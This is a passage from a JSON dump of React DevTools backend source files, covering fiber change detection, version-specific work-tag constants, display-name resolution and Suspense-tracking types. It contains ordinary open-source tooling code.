    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {WorkTagMap} from '../../types';\n\nimport {getFiberFlags} from './DevToolsFiberInspection';\nimport is from 'shared/objectIs';\n\nexport function getContextChanged(prevFiber: Fiber, nextFiber: Fiber): boolean {\n  let prevContext =\n    prevFiber.dependencies && prevFiber.dependencies.firstContext;\n  let nextContext =\n    nextFiber.dependencies && nextFiber.dependencies.firstContext;\n\n  while (prevContext && nextContext) {\n    // Note this only works for versions of React that support this key (e.v. 18+)\n    // For older versions, there's no good way to read the current context value after render has completed.\n    // This is because React maintains a stack of context values during render,\n    // but by the time DevTools is called, render has finished and the stack is empty.\n    if (prevContext.context !== nextContext.context) {\n      // If the order of context has changed, then the later context values might have\n      // changed too but the main reason it rerendered was earlier. Either an earlier\n      // context changed value but then we would have exited already. If we end up here\n      // it's because a state or props change caused the order of contexts used to change.\n      // So the main cause is not the contexts themselves.\n      return false;\n    }\n    if (!is(prevContext.memoizedValue, nextContext.memoizedValue)) {\n      return true;\n    }\n\n    prevContext = prevContext.next;\n    nextContext = nextContext.next;\n  }\n  return false;\n}\n\nexport function didStatefulHookChange(\n  prev: HooksNode,\n  next: HooksNode,\n): boolean {\n  // Detect the shape of useState() / useReducer() / useTransition() / useSyncExternalStore() / useActionState()\n  const isStatefulHook =\n    prev.isStateEditable === true ||\n    prev.name === 'SyncExternalStore' ||\n    prev.name === 'Transition' ||\n    prev.name === 'ActionState' ||\n    prev.name === 'FormState';\n\n  // Compare the values to see if they changed\n  if (isStatefulHook) {\n    return prev.value !== next.value;\n  }\n\n  return false;\n}\n\nexport function getChangedHooksIndices(\n  prevHooks: HooksTree | null,\n  nextHooks: HooksTree | null,\n): null | Array<number> {\n  if (prevHooks == null || nextHooks == null) {\n    return null;\n  }\n\n  const indices: Array<number> = [];\n  let index = 0;\n\n  function traverse(prevTree: HooksTree, nextTree: HooksTree): void {\n    for (let i = 0; i < prevTree.length; i++) {\n      const prevHook = prevTree[i];\n      const nextHook = nextTree[i];\n\n      if (prevHook.subHooks.length > 0 && nextHook.subHooks.length > 0) {\n        traverse(prevHook.subHooks, nextHook.subHooks);\n        continue;\n      }\n\n      if (didStatefulHookChange(prevHook, nextHook)) {\n        indices.push(index);\n      }\n\n      index++;\n    }\n  }\n\n  traverse(prevHooks, nextHooks);\n  return indices;\n}\n\nexport function getChangedKeys(prev: any, next: any): null | Array<string> {\n  if (prev == null || next == null) {\n    return null;\n  }\n\n  const keys = new Set([...Object.keys(prev), ...Object.keys(next)]);\n  const changedKeys = [];\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const key of keys) {\n    if (prev[key] !== next[key]) {\n      changedKeys.push(key);\n    }\n  }\n\n  return changedKeys;\n}\n\n/**\n * Returns true iff nextFiber actually performed any work and produced an update.\n * For generic components, like Function or Class components, prevFiber is not considered.\n */\nexport function didFiberRender(\n  workTagMap: WorkTagMap,\n  prevFiber: Fiber,\n  nextFiber: Fiber,\n): boolean {\n  switch (nextFiber.tag) {\n    case workTagMap.ClassComponent:\n    case workTagMap.FunctionComponent:\n    case workTagMap.ContextConsumer:\n    case workTagMap.MemoComponent:\n    case workTagMap.SimpleMemoComponent:\n    case workTagMap.ForwardRef:\n      // For types that execute user code, we check PerformedWork effect.\n      // We don't reflect bailouts (either referential or sCU) in DevTools.\n      // TODO: This flag is a leaked implementation detail. Once we start\n      // releasing DevTools in lockstep with React, we should import a\n      // function from the reconciler instead.\n      const PerformedWork = 0b000000000000000000000000001;\n      return (getFiberFlags(nextFiber) & PerformedWork) === PerformedWork;\n    // Note: ContextConsumer only gets PerformedWork effect in 16.3.3+\n    // so it won't get highlighted with React 16.3.0 to 16.3.2.\n    default:\n      // For host components and other types, we compare inputs\n      // to determine whether something is an update.\n      return (\n        prevFiber.memoizedProps !== nextFiber.memoizedProps ||\n        prevFiber.memoizedState !== nextFiber.memoizedState ||\n        prevFiber.ref !== nextFiber.ref\n      );\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentInfo, ReactDebugInfo} from 'shared/ReactTypes';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {WorkTagMap} from '../../types';\nimport type {Rect} from '../../types';\n\n// $FlowFixMe[method-unbinding]\nconst toString = Object.prototype.toString;\n\nexport function isError(object: mixed): boolean {\n  return toString.call(object) === '[object Error]';\n}\n\nexport function getFiberFlags(fiber: Fiber): number {\n  // The name of this field changed from \"effectTag\" to \"flags\"\n  return fiber.flags !== undefined ? fiber.flags : (fiber: any).effectTag;\n}\n\nexport function rootSupportsProfiling(root: any): boolean {\n  if (root.memoizedInteractions != null) {\n    // v16 builds include this field for the scheduler/tracing API.\n    return true;\n  } else if (\n    root.current != null &&\n    root.current.hasOwnProperty('treeBaseDuration')\n  ) {\n    // The scheduler/tracing API was removed in v17 though\n    // so we need to check a non-root Fiber.\n    return true;\n  } else {\n    return false;\n  }\n}\n\nexport function isErrorBoundary(workTagMap: WorkTagMap, fiber: Fiber): boolean {\n  const {tag, type} = fiber;\n\n  switch (tag) {\n    case workTagMap.ClassComponent:\n    case workTagMap.IncompleteClassComponent:\n      const instance = fiber.stateNode;\n      return (\n        typeof type.getDerivedStateFromError === 'function' ||\n        (instance !== null && typeof instance.componentDidCatch === 'function')\n      );\n    default:\n      return false;\n  }\n}\n\nexport function getSecondaryEnvironmentName(\n  debugInfo: ?ReactDebugInfo,\n  index: number,\n): null | string {\n  if (debugInfo != null) {\n    const componentInfo: ReactComponentInfo = (debugInfo[index]: any);\n    for (let i = index + 1; i < debugInfo.length; i++) {\n      const debugEntry = debugInfo[i];\n      if (typeof debugEntry.env === 'string') {\n        // If the next environment is different then this component was the boundary\n        // and it changed before entering the next component. So we assign this\n        // component a secondary environment.\n        return componentInfo.env !== debugEntry.env ? debugEntry.env : null;\n      }\n    }\n  }\n  return null;\n}\n\nexport function areEqualRects(\n  a: null | Array<Rect>,\n  b: null | Array<Rect>,\n): boolean {\n  if (a === null) {\n    return b === null;\n  }\n  if (b === null) {\n    return false;\n  }\n  if (a.length !== b.length) {\n    return false;\n  }\n  for (let i = 0; i < a.length; i++) {\n    const aRect = a[i];\n    const bRect = b[i];\n    if (\n      aRect.x !== bRect.x ||\n      aRect.y !== bRect.y ||\n      aRect.width !== bRect.width ||\n      aRect.height !== bRect.height\n    ) {\n      return false;\n    }\n  }\n  return true;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {WorkTagMap} from 'react-devtools-shared/src/backend/types';\n\nimport {\n  getDisplayName,\n  getWrappedDisplayName,\n} from 'react-devtools-shared/src/utils';\nimport {gt, gte} from 'react-devtools-shared/src/backend/utils';\nimport {\n  CONCURRENT_MODE_NUMBER,\n  CONCURRENT_MODE_SYMBOL_STRING,\n  DEPRECATED_ASYNC_MODE_SYMBOL_STRING,\n  PROVIDER_NUMBER,\n  PROVIDER_SYMBOL_STRING,\n  CONTEXT_NUMBER,\n  CONTEXT_SYMBOL_STRING,\n  CONSUMER_SYMBOL_STRING,\n  STRICT_MODE_NUMBER,\n  STRICT_MODE_SYMBOL_STRING,\n  PROFILER_NUMBER,\n  PROFILER_SYMBOL_STRING,\n  REACT_MEMO_CACHE_SENTINEL,\n  SCOPE_NUMBER,\n  SCOPE_SYMBOL_STRING,\n  FORWARD_REF_NUMBER,\n  FORWARD_REF_SYMBOL_STRING,\n  MEMO_NUMBER,\n  MEMO_SYMBOL_STRING,\n  SERVER_CONTEXT_SYMBOL_STRING,\n} from 'react-devtools-shared/src/backend/shared/ReactSymbols';\n\nexport type getDisplayNameForFiberType = (fiber: Fiber) => string | null;\nexport type getTypeSymbolType = (type: any) => symbol | string | number;\n\nexport type ReactPriorityLevelsType = {\n  ImmediatePriority: number,\n  UserBlockingPriority: number,\n  NormalPriority: number,\n  LowPriority: number,\n  IdlePriority: number,\n  NoPriority: number,\n};\n\nexport function getInternalReactConstants(version: string): {\n  getDisplayNameForFiber: getDisplayNameForFiberType,\n  getTypeSymbol: getTypeSymbolType,\n  ReactPriorityLevels: ReactPriorityLevelsType,\n  ReactTypeOfWork: WorkTagMap,\n  StrictModeBits: number,\n  SuspenseyImagesMode: number,\n} {\n  // **********************************************************\n  // The section below is copied from files in React repo.\n  // Keep it in sync, and add version guards if it changes.\n  //\n  // Technically these priority levels are invalid for versions before 16.9,\n  // but 16.9 is the first version to report priority level to DevTools,\n  // so we can avoid checking for earlier versions and support pre-16.9 canary releases in the process.\n  let ReactPriorityLevels: ReactPriorityLevelsType = {\n    ImmediatePriority: 99,\n    UserBlockingPriority: 98,\n    NormalPriority: 97,\n    LowPriority: 96,\n    IdlePriority: 95,\n    NoPriority: 90,\n  };\n\n  if (gt(version, '17.0.2')) {\n    ReactPriorityLevels = {\n      ImmediatePriority: 1,\n      UserBlockingPriority: 2,\n      NormalPriority: 3,\n      LowPriority: 4,\n      IdlePriority: 5,\n      NoPriority: 0,\n    };\n  }\n\n  let StrictModeBits = 0;\n  if (gte(version, '18.0.0-alpha')) {\n    // 18+\n    StrictModeBits = 0b011000;\n  } else if (gte(version, '16.9.0')) {\n    // 16.9 - 17\n    StrictModeBits = 0b1;\n  } else if (gte(version, '16.3.0')) {\n    // 16.3 - 16.8\n    StrictModeBits = 0b10;\n  }\n\n  const SuspenseyImagesMode = 0b0100000;\n\n  let ReactTypeOfWork: WorkTagMap = ((null: any): WorkTagMap);\n\n  // **********************************************************\n  // The section below is copied from files in React repo.\n  // Keep it in sync, and add version guards if it changes.\n  //\n  // TODO Update the gt() check below to be gte() whichever the next version number is.\n  // Currently the version in Git is 17.0.2 (but that version has not been/may not end up being released).\n  if (gt(version, '17.0.1')) {\n    ReactTypeOfWork = {\n      CacheComponent: 24, // Experimental\n      ClassComponent: 1,\n      ContextConsumer: 9,\n      ContextProvider: 10,\n      CoroutineComponent: -1, // Removed\n      CoroutineHandlerPhase: -1, // Removed\n      DehydratedSuspenseComponent: 18, // Behind a flag\n      ForwardRef: 11,\n      Fragment: 7,\n      FunctionComponent: 0,\n      HostComponent: 5,\n      HostPortal: 4,\n      HostRoot: 3,\n      HostHoistable: 26, // In reality, 18.2+. But doesn't hurt to include it here\n      HostSingleton: 27, // Same as above\n      HostText: 6,\n      IncompleteClassComponent: 17,\n      IncompleteFunctionComponent: 28,\n      IndeterminateComponent: 2, // removed in 19.0.0\n      LazyComponent: 16,\n      LegacyHiddenComponent: 23, // Does not exist in 18+ OSS but exists in fb builds\n      MemoComponent: 14,\n      Mode: 8,\n      OffscreenComponent: 22, // Experimental in 17. Stable in 18+\n      Profiler: 12,\n      ScopeComponent: 21, // Experimental\n      SimpleMemoComponent: 15,\n      SuspenseComponent: 13,\n      SuspenseListComponent: 19, // Experimental\n      TracingMarkerComponent: 25, // Experimental - This is technically in 18 but we don't\n      // want to fork again so we're adding it here instead\n      YieldComponent: -1, // Removed\n      Throw: 29,\n      ViewTransitionComponent: 30, // Experimental\n      ActivityComponent: 31,\n    };\n  } else if (gte(version, '17.0.0-alpha')) {\n    ReactTypeOfWork = {\n      CacheComponent: -1, // Doesn't exist yet\n      ClassComponent: 1,\n      ContextConsumer: 9,\n      ContextProvider: 10,\n      CoroutineComponent: -1, // Removed\n      CoroutineHandlerPhase: -1, // Removed\n      DehydratedSuspenseComponent: 18, // Behind a flag\n      ForwardRef: 11,\n      Fragment: 7,\n      FunctionComponent: 0,\n      HostComponent: 5,\n      HostPortal: 4,\n      HostRoot: 3,\n      HostHoistable: -1, // Doesn't exist yet\n      HostSingleton: -1, // Doesn't exist yet\n      HostText: 6,\n      IncompleteClassComponent: 17,\n      IncompleteFunctionComponent: -1, // Doesn't exist yet\n      IndeterminateComponent: 2,\n      LazyComponent: 16,\n      LegacyHiddenComponent: 24,\n      MemoComponent: 14,\n      Mode: 8,\n      OffscreenComponent: 23, // Experimental\n      Profiler: 12,\n      ScopeComponent: 21, // Experimental\n      SimpleMemoComponent: 15,\n      SuspenseComponent: 13,\n      SuspenseListComponent: 19, // Experimental\n      TracingMarkerComponent: -1, // Doesn't exist yet\n      YieldComponent: -1, // Removed\n      Throw: -1, // Doesn't exist yet\n      ViewTransitionComponent: -1, // Doesn't exist yet\n      ActivityComponent: -1, // Doesn't exist yet\n    };\n  } else if (gte(version, '16.6.0-beta.0')) {\n    ReactTypeOfWork = {\n      CacheComponent: -1, // Doesn't exist yet\n      ClassComponent: 1,\n      ContextConsumer: 9,\n      ContextProvider: 10,\n      CoroutineComponent: -1, // Removed\n      CoroutineHandlerPhase: -1, // Removed\n      DehydratedSuspenseComponent: 18, // Behind a flag\n      ForwardRef: 11,\n      Fragment: 7,\n      FunctionComponent: 0,\n      HostComponent: 5,\n      HostPortal: 4,\n      HostRoot: 3,\n      HostHoistable: -1, // Doesn't exist yet\n      HostSingleton: -1, // Doesn't exist yet\n      HostText: 6,\n      IncompleteClassComponent: 17,\n      IncompleteFunctionComponent: -1, // Doesn't exist yet\n      IndeterminateComponent: 2,\n      LazyComponent: 16,\n      LegacyHiddenComponent: -1,\n      MemoComponent: 14,\n      Mode: 8,\n      OffscreenComponent: -1, // Experimental\n      Profiler: 12,\n      ScopeComponent: -1, // Experimental\n      SimpleMemoComponent: 15,\n      SuspenseComponent: 13,\n      SuspenseListComponent: 19, // Experimental\n      TracingMarkerComponent: -1, // Doesn't exist yet\n      YieldComponent: -1, // Removed\n      Throw: -1, // Doesn't exist yet\n      ViewTransitionComponent: -1, // Doesn't exist yet\n      ActivityComponent: -1, // Doesn't exist yet\n    };\n  } else if (gte(version, '16.4.3-alpha')) {\n    ReactTypeOfWork = {\n      CacheComponent: -1, // Doesn't exist yet\n      ClassComponent: 2,\n      ContextConsumer: 11,\n      ContextProvider: 12,\n      CoroutineComponent: -1, // Removed\n      CoroutineHandlerPhase: -1, // Removed\n      DehydratedSuspenseComponent: -1, // Doesn't exist yet\n      ForwardRef: 13,\n      Fragment: 9,\n      FunctionComponent: 0,\n      HostComponent: 7,\n      HostPortal: 6,\n      HostRoot: 5,\n      HostHoistable: -1, // Doesn't exist yet\n      HostSingleton: -1, // Doesn't exist yet\n      HostText: 8,\n      IncompleteClassComponent: -1, // Doesn't exist yet\n      IncompleteFunctionComponent: -1, // Doesn't exist yet\n      IndeterminateComponent: 4,\n      LazyComponent: -1, // Doesn't exist yet\n      LegacyHiddenComponent: -1,\n      MemoComponent: -1, // Doesn't exist yet\n      Mode: 10,\n      OffscreenComponent: -1, // Experimental\n      Profiler: 15,\n      ScopeComponent: -1, // Experimental\n      SimpleMemoComponent: -1, // Doesn't exist yet\n      SuspenseComponent: 16,\n      SuspenseListComponent: -1, // Doesn't exist yet\n      TracingMarkerComponent: -1, // Doesn't exist yet\n      YieldComponent: -1, // Removed\n      Throw: -1, // Doesn't exist yet\n      ViewTransitionComponent: -1, // Doesn't exist yet\n      ActivityComponent: -1, // Doesn't exist yet\n    };\n  } else {\n    ReactTypeOfWork = {\n      CacheComponent: -1, // Doesn't exist yet\n      ClassComponent: 2,\n      ContextConsumer: 12,\n      ContextProvider: 13,\n      CoroutineComponent: 7,\n      CoroutineHandlerPhase: 8,\n      DehydratedSuspenseComponent: -1, // Doesn't exist yet\n      ForwardRef: 14,\n      Fragment: 10,\n      FunctionComponent: 1,\n      HostComponent: 5,\n      HostPortal: 4,\n      HostRoot: 3,\n      HostHoistable: -1, // Doesn't exist yet\n      HostSingleton: -1, // Doesn't exist yet\n      HostText: 6,\n      IncompleteClassComponent: -1, // Doesn't exist yet\n      IncompleteFunctionComponent: -1, // Doesn't exist yet\n      IndeterminateComponent: 0,\n      LazyComponent: -1, // Doesn't exist yet\n      LegacyHiddenComponent: -1,\n      MemoComponent: -1, // Doesn't exist yet\n      Mode: 11,\n      OffscreenComponent: -1, // Experimental\n      Profiler: 15,\n      ScopeComponent: -1, // Experimental\n      SimpleMemoComponent: -1, // Doesn't exist yet\n      SuspenseComponent: 16,\n      SuspenseListComponent: -1, // Doesn't exist yet\n      TracingMarkerComponent: -1, // Doesn't exist yet\n      YieldComponent: 9,\n      Throw: -1, // Doesn't exist yet\n      ViewTransitionComponent: -1, // Doesn't exist yet\n      ActivityComponent: -1, // Doesn't exist yet\n    };\n  }\n  // **********************************************************\n  // End of copied code.\n  // **********************************************************\n\n  function getTypeSymbol(type: any): symbol | string | number {\n    const symbolOrNumber =\n      typeof type === 'object' && type !== null ? type.$$typeof : type;\n\n    return typeof symbolOrNumber === 'symbol'\n      ? symbolOrNumber.toString()\n      : symbolOrNumber;\n  }\n\n  const {\n    CacheComponent,\n    ClassComponent,\n    IncompleteClassComponent,\n    IncompleteFunctionComponent,\n    FunctionComponent,\n    IndeterminateComponent,\n    ForwardRef,\n    HostRoot,\n    HostHoistable,\n    HostSingleton,\n    HostComponent,\n    HostPortal,\n    HostText,\n    Fragment,\n    LazyComponent,\n    LegacyHiddenComponent,\n    MemoComponent,\n    OffscreenComponent,\n    Profiler,\n    ScopeComponent,\n    SimpleMemoComponent,\n    SuspenseComponent,\n    SuspenseListComponent,\n    TracingMarkerComponent,\n    Throw,\n    ViewTransitionComponent,\n    ActivityComponent,\n  } = ReactTypeOfWork;\n\n  function resolveFiberType(type: any): $FlowFixMe {\n    const typeSymbol = getTypeSymbol(type);\n    switch (typeSymbol) {\n      case MEMO_NUMBER:\n      case MEMO_SYMBOL_STRING:\n        // recursively resolving memo type in case of memo(forwardRef(Component))\n        return resolveFiberType(type.type);\n      case FORWARD_REF_NUMBER:\n      case FORWARD_REF_SYMBOL_STRING:\n        return type.render;\n      default:\n        return type;\n    }\n  }\n\n  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods\n  function getDisplayNameForFiber(\n    fiber: Fiber,\n    shouldSkipForgetCheck: boolean = false,\n  ): string | null {\n    const {elementType, type, tag} = fiber;\n\n    let resolvedType = type;\n    if (typeof type === 'object' && type !== null) {\n      resolvedType = resolveFiberType(type);\n    }\n\n    let resolvedContext: any = null;\n    if (\n      !shouldSkipForgetCheck &&\n      // $FlowFixMe[incompatible-type] fiber.updateQueue is mixed\n      (fiber.updateQueue?.memoCache != null ||\n        (Array.isArray(fiber.memoizedState?.memoizedState) &&\n          fiber.memoizedState.memoizedState[0]?.[REACT_MEMO_CACHE_SENTINEL]) ||\n        fiber.memoizedState?.memoizedState?.[REACT_MEMO_CACHE_SENTINEL])\n    ) {\n      const displayNameWithoutForgetWrapper = getDisplayNameForFiber(\n        fiber,\n        true,\n      );\n      if (displayNameWithoutForgetWrapper == null) {\n        return null;\n      }\n\n      return `Forget(${displayNameWithoutForgetWrapper})`;\n    }\n\n    switch (tag) {\n      case ActivityComponent:\n        return 'Activity';\n      case CacheComponent:\n        return 'Cache';\n      case ClassComponent:\n      case IncompleteClassComponent:\n      case IncompleteFunctionComponent:\n      case FunctionComponent:\n      case IndeterminateComponent:\n        return getDisplayName(resolvedType);\n      case ForwardRef:\n        return getWrappedDisplayName(\n          elementType,\n          resolvedType,\n          'ForwardRef',\n          'Anonymous',\n        );\n      case HostRoot:\n        const fiberRoot = fiber.stateNode;\n        if (fiberRoot != null && fiberRoot._debugRootType !== null) {\n          return fiberRoot._debugRootType;\n        }\n        return null;\n      case HostComponent:\n      case HostSingleton:\n      case HostHoistable:\n        return type;\n      case HostPortal:\n      case HostText:\n        return null;\n      case Fragment:\n        return 'Fragment';\n      case LazyComponent:\n        // This display name will not be user visible.\n        // Once a Lazy component loads its inner component, React replaces the tag and type.\n        // This display name will only show up in console logs when DevTools DEBUG mode is on.\n        return 'Lazy';\n      case MemoComponent:\n      case SimpleMemoComponent:\n        // Display name in React does not use `Memo` as a wrapper but fallback name.\n        return getWrappedDisplayName(\n          elementType,\n          resolvedType,\n          'Memo',\n          'Anonymous',\n        );\n      case SuspenseComponent:\n        return 'Suspense';\n      case LegacyHiddenComponent:\n        return 'LegacyHidden';\n      case OffscreenComponent:\n        return 'Offscreen';\n      case ScopeComponent:\n        return 'Scope';\n      case SuspenseListComponent:\n        return 'SuspenseList';\n      case Profiler:\n        return 'Profiler';\n      case TracingMarkerComponent:\n        return 'TracingMarker';\n      case ViewTransitionComponent:\n        return 'ViewTransition';\n      case Throw:\n        // This should really never be visible.\n        return 'Error';\n      default:\n        const typeSymbol = getTypeSymbol(type);\n\n        switch (typeSymbol) {\n          case CONCURRENT_MODE_NUMBER:\n          case CONCURRENT_MODE_SYMBOL_STRING:\n          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:\n            return null;\n          case PROVIDER_NUMBER:\n          case PROVIDER_SYMBOL_STRING:\n            // 16.3.0 exposed the context object as \"context\"\n            // PR #12501 changed it to \"_context\" for 16.3.1+\n            // NOTE Keep in sync with inspectElementRaw()\n            resolvedContext = fiber.type._context || fiber.type.context;\n            return `${resolvedContext.displayName || 'Context'}.Provider`;\n          case CONTEXT_NUMBER:\n          case CONTEXT_SYMBOL_STRING:\n          case SERVER_CONTEXT_SYMBOL_STRING:\n            if (\n              fiber.type._context === undefined &&\n              fiber.type.Provider === fiber.type\n            ) {\n              // In 19+, Context.Provider === Context, so this is a provider.\n              resolvedContext = fiber.type;\n              return `${resolvedContext.displayName || 'Context'}.Provider`;\n            }\n\n            // 16.3-16.5 read from \"type\" because the Consumer is the actual context object.\n            // 16.6+ should read from \"type._context\" because Consumer can be different (in DEV).\n            // NOTE Keep in sync with inspectElementRaw()\n            resolvedContext = fiber.type._context || fiber.type;\n\n            // NOTE: TraceUpdatesBackendManager depends on the name ending in '.Consumer'\n            // If you change the name, figure out a more resilient way to detect it.\n            return `${resolvedContext.displayName || 'Context'}.Consumer`;\n          case CONSUMER_SYMBOL_STRING:\n            // 19+\n            resolvedContext = fiber.type._context;\n            return `${resolvedContext.displayName || 'Context'}.Consumer`;\n          case STRICT_MODE_NUMBER:\n          case STRICT_MODE_SYMBOL_STRING:\n            return null;\n          case PROFILER_NUMBER:\n          case PROFILER_SYMBOL_STRING:\n            return `Profiler(${fiber.memoizedProps.id})`;\n          case SCOPE_NUMBER:\n          case SCOPE_SYMBOL_STRING:\n            return 'Scope';\n          default:\n            // Unknown element type.\n            // This may mean a new element type that has not yet been added to DevTools.\n            return null;\n        }\n    }\n  }\n\n  return {\n    getDisplayNameForFiber,\n    getTypeSymbol,\n    ReactPriorityLevels,\n    ReactTypeOfWork,\n    StrictModeBits,\n    SuspenseyImagesMode,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberSuspense.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactIOInfo, ReactAsyncInfo} from 'shared/ReactTypes';\nimport type {SuspenseNode} from './DevToolsFiberTypes';\n\nexport function ioExistsInSuspenseAncestor(\n  suspenseNode: SuspenseNode,\n  ioInfo: ReactIOInfo,\n): boolean {\n  let ancestor = suspenseNode.parent;\n  while (ancestor !== null) {\n    if (ancestor.suspendedBy.has(ioInfo)) {\n      return true;\n    }\n    ancestor = ancestor.parent;\n  }\n  return false;\n}\n\nexport function getAwaitInSuspendedByFromIO(\n  suspensedBy: Array<ReactAsyncInfo>,\n  ioInfo: ReactIOInfo,\n): null | ReactAsyncInfo {\n  for (let i = 0; i < suspensedBy.length; i++) {\n    const asyncInfo = suspensedBy[i];\n    if (asyncInfo.awaited === ioInfo) {\n      return asyncInfo;\n    }\n  }\n  return null;\n}\n\nexport function getVirtualEndTime(ioInfo: ReactIOInfo): number {\n  if (ioInfo.env != null) {\n    // Sort client side content first so that scripts and streams don't\n    // cover up the effect of server time.\n    return ioInfo.end + 1000000;\n  }\n  return ioInfo.end;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  ReactComponentInfo,\n  ReactAsyncInfo,\n  ReactIOInfo,\n  ReactFunctionLocation,\n} from 'shared/ReactTypes';\nimport type {Rect} from '../../types';\n\n// Kinds\nexport const FIBER_INSTANCE = 0;\nexport const VIRTUAL_INSTANCE = 1;\nexport const FILTERED_FIBER_INSTANCE = 2;\n\n// This type represents a stateful instance of a Client Component i.e. a Fiber pair.\n// These instances also let us track stateful DevTools meta data like id and warnings.\nexport type FiberInstance = {\n  kind: 0,\n  id: number,\n  parent: null | DevToolsInstance,\n  firstChild: null | DevToolsInstance,\n  nextSibling: null | DevToolsInstance,\n  source: null | string | Error | ReactFunctionLocation, // source location of this component function, or owned child stack\n  logCount: number, // total number of errors/warnings last seen\n  treeBaseDuration: number, // the profiled time of the last render of this subtree\n  suspendedBy: null | Array<ReactAsyncInfo>, // things that suspended in the children position of this component\n  suspenseNode: null | SuspenseNode,\n  data: Fiber, // one of a Fiber pair\n};\n\nexport type FilteredFiberInstance = {\n  kind: 2,\n  // We exclude id from the type to get errors if we try to access it.\n  // However it is still in the object to preserve hidden class.\n  // id: number,\n  parent: null | DevToolsInstance,\n  firstChild: null | DevToolsInstance,\n  nextSibling: null | DevToolsInstance,\n  source: null | string | Error | ReactFunctionLocation, // always null here.\n  logCount: number, // total number of errors/warnings last seen\n  treeBaseDuration: number, // the profiled time of the last render of this subtree\n  suspendedBy: null | Array<ReactAsyncInfo>, // only used at the root\n  suspenseNode: null | SuspenseNode,\n  data: Fiber, // one of a Fiber pair\n};\n\n// This type represents a stateful instance of a Server Component or a Component\n// that gets optimized away - e.g. call-through without creating a Fiber.\n// It's basically a virtual Fiber. This is not a semantic concept in React.\n// It only exists as a virtual concept to let the same Element in the DevTools\n// persist. To be selectable separately from all ReactComponentInfo and overtime.\nexport type VirtualInstance = {\n  kind: 1,\n  id: number,\n  parent: null | DevToolsInstance,\n  firstChild: null | DevToolsInstance,\n  nextSibling: null | DevToolsInstance,\n  source: null | string | Error | ReactFunctionLocation, // source location of this server component, or owned child stack\n  logCount: number, // total number of errors/warnings last seen\n  treeBaseDuration: number, // the profiled time of the last render of this subtree\n  suspendedBy: null | Array<ReactAsyncInfo>, // things that blocked the server component's child from rendering\n  suspenseNode: null,\n  // The latest info for this instance. This can be updated over time and the\n  // same info can appear in more than once ServerComponentInstance.\n  data: ReactComponentInfo,\n};\n\nexport type DevToolsInstance =\n  | FiberInstance\n  | VirtualInstance\n  | FilteredFiberInstance;\n\nexport type SuspenseNode = {\n  // The Instance can be a Suspense boundary, a SuspenseList Row, or HostRoot.\n  // It can also be disconnected from the main tree if it's a Filtered Instance.\n  instance: FiberInstance | FilteredFiberInstance,\n  parent: null | SuspenseNode,\n  firstChild: null | SuspenseNode,\n  nextSibling: null | SuspenseNode,\n  rects: null | Array<Rect>, // The bounding rects of content children.\n  suspendedBy: Map<ReactIOInfo, Set<DevToolsInstance>>, // Tracks which data we're suspended by and the children that suspend it.\n  environments: Map<string, number>, // Tracks the Flight environment names that suspended this. I.e. if the server blocked this.\n  endTime: number, // Track a short cut to the maximum end time value within the suspendedBy set.\n  // Track whether any of the items in suspendedBy are unique this this Suspense boundaries or if they're all\n  // also in the parent sets. This determine whether this could contribute in the loading sequence.\n  hasUniqueSuspenders: boolean,\n  // Track whether anything suspended in this boundary that we can't track either because it was using throw\n  // a promise, an older version of React or because we're inspecting prod.\n  hasUnknownSuspenders: boolean,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/flight/DevToolsComponentInfoStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a DevTools fork of ReactComponentInfoStack.\n// This fork enables DevTools to use the same \"native\" component stack format,\n// while still maintaining support for multiple renderer versions\n// (which use different values for ReactTypeOfWork).\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport {describeBuiltInComponentFrame} from '../shared/DevToolsComponentStackFrame';\n\nimport {formatOwnerStack} from '../shared/DevToolsOwnerStack';\n\nexport function getOwnerStackByComponentInfoInDev(\n  componentInfo: ReactComponentInfo,\n): string {\n  try {\n    let info = '';\n\n    // The owner stack of the current component will be where it was created, i.e. inside its owner.\n    // There's no actual name of the currently executing component. Instead, that is available\n    // on the regular stack that's currently executing. However, if there is no owner at all, then\n    // there's no stack frame so we add the name of the root component to the stack to know which\n    // component is currently executing.\n    if (!componentInfo.owner && typeof componentInfo.name === 'string') {\n      return describeBuiltInComponentFrame(componentInfo.name);\n    }\n\n    let owner: void | null | ReactComponentInfo = componentInfo;\n\n    while (owner) {\n      const ownerStack: ?Error = owner.debugStack;\n      if (ownerStack != null) {\n        // Server Component\n        owner = owner.owner;\n        if (owner) {\n          // TODO: Should we stash this somewhere for caching purposes?\n 